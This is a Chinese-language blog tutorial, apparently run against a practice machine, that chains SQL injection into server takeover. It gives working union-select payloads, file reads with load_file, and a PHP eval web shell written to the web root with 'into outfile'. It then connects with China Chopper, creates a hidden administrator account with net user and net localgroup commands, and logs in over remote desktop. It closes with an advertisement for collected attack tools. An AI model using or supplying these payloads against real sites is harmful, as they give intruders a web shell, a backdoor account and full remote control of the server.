利用SQL注入漏洞,读写文件,进而提权,远程登陆

308 阅读3分钟

一、前提条件

第一步:修改数据库配置文件,允许文件读写
可以通过在my.ini中添加secure_file_priv这一项来许可文件读写。
在这里插入图片描述
在这里插入图片描述
测试:
在这里插入图片描述
在这里插入图片描述

二、利用sql注入漏洞读写文件

第一步:打开目标网站
在这里插入图片描述
第二步:通过and 1=1、and 1=2 查看是否存在SQL注入漏洞
1=1是永真表达式
而SELECT * FROM news WHERE id = 1 and 1=1只有两个语句SELECT * FROM news WHERE id = 1与1=1全都都为真,页面才会正常显示
在这里插入图片描述
1=2是永假表达式
而SELECT * FROM news WHERE id = 1 and 1=2只有两个语句SELECT * FROM news WHERE id = 1与1=2全都位真,页面才会正常显示,而因为1=2是假,所以页面不正常显示
在这里插入图片描述
说明,我们后面自己添加的 and 1=1与and 1=2都带入数据库中进行了执行,也就是说我们可以操控带入数据库中的SQL语句,想输入什么就输入什么。(只要我们可以控制输入,那么可以搞事情了)

第三步:order by 判断位数(也就是判断当前页面显示的内容,在数据库中是第几列内容)
输入order by 3,页面正常显示
在这里插入图片描述
输入order by 4,页面显示不正常
在这里插入图片描述
总结,当前数据表中只有3列内容

第四步:判断显示位
输入-1 union select 1,2,3,爆出显示位
在这里插入图片描述
第五步:读文件操作
读取文件一般只有root用户才有权限,查看当前网站所连接数据库的权限,正好是root权限
在这里插入图片描述
读文件都需要文件的绝对路径,如何获取网站路径?
故意输入个错误的语句,让网站报错,报出文件根目录
-1 union select 1,ur(),3
在这里插入图片描述
读取mysql数据库配置文件my.ini
根据经验猜测my.ini的路径是C:/phpstudy/PHPTutorial/MySQL/my.ini,所以读取my.ini内容如下图所示。
-1 union select 1,load_file(“C:/phpstudy/PHPTutorial/MySQL/my.ini”),3
在这里插入图片描述
第六步:写文件操作
写一句话muma到C:/phpstudy/PHPTutorial/WWW/ceshi.php中,若ceshi.php不存在,则会自动创建自动写入文件
-1 union select 1,’<?php @eval($_POST[x])?>’,3 into outfile ‘C:/phpstudy/PHPTutorial/WWW/ceshi.php’(注意单引号与斜杠方向)
写入完成之后会报错,如下图所示
在这里插入图片描述

检查是否成功写入文件,直接访问文件,访问成功,则写入成功。
在这里插入图片描述

(测试:检查靶机,发现成功写入文件)
在这里插入图片描述
第七步:中国菜刀连接一句话muma
在这里插入图片描述
成功连接
在这里插入图片描述
第八步:提权
点击右键,选择虚拟终端
在这里插入图片描述
whoami查看当前用户;发现当前用户是administrator,最高权限用户,不用提权
在这里插入图片描述
那么就创建一个普通用户,提权
创建隐藏普通用户cuihua:net user cuihua cuihua /add
cuihua提权到超级管理员权限:net localgroup administrators cuihua /add
在这里插入图片描述
第九步:查看当前3389端口是否开启
3389远程桌面登录开启
在这里插入图片描述
输入用户名cuihua密码147258在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功连接界面
在这里插入图片描述
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
在这里插入图片描述